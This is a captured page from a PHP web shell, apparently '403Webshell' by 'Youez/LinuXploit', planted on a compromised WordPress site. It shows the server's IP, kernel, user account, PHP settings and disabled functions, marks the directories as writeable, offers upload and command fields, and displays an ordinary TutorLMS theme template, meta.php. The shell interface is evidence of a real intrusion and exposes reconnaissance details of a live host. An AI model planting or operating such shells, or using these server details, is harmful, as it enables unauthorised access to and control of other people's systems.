403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/tutor/loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/tutor/loop/meta.php
<?php

/**
 * @package TutorLMS/Templates
 * @version 1.4.3
 */

global $post, $authordata;
$course_id          = $post->ID;
$profile_url        = tutor_utils()->profile_url($authordata->ID, true);
$course_categories  = get_tutor_course_categories($course_id);
$course_duration    = get_tutor_course_duration_context($course_id, true);
$course_students    = tutor_utils()->count_enrolled_users_by_course($course_id);
?>

<?php if (tutor_utils()->get_option('enable_course_total_enrolled') || !empty($course_duration)) : ?>
    <div class="tutor-meta tutor-mt-12 tutor-mb-20">
        <?php if (tutor_utils()->get_option('enable_course_total_enrolled')) : ?>
            <div>
                <span class="tutor-meta-icon tutor-icon-user-line" area-hidden="true"></span>
                <span class="tutor-meta-value"><?php echo esc_html($course_students); ?></span>
            </div>
        <?php endif; ?>

        <?php if (!empty($course_duration)) : ?>
            <div>
                <span class="tutor-icon-clock-line tutor-meta-icon" area-hidden="true"></span>
                <span class="tutor-meta-value"><?php echo tutor_utils()->clean_html_content($course_duration); ?></span>
            </div>
        <?php endif; ?>
    </div>
<?php endif; ?>

<div class="tutor-meta tutor-mt-auto">
    <div>
        <a href="<?php echo esc_url($profile_url); ?>" class="tutor-d-flex">
            <?php echo tutor_utils()->get_tutor_avatar($post->post_author); ?>
        </a>
    </div>

    <div>
        <?php esc_html_e('By', 'tutor') ?>
        <a class="text-capitalize" href="<?php echo esc_url($profile_url); ?>"><?php esc_html_e(get_the_author()); ?></a>
    </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit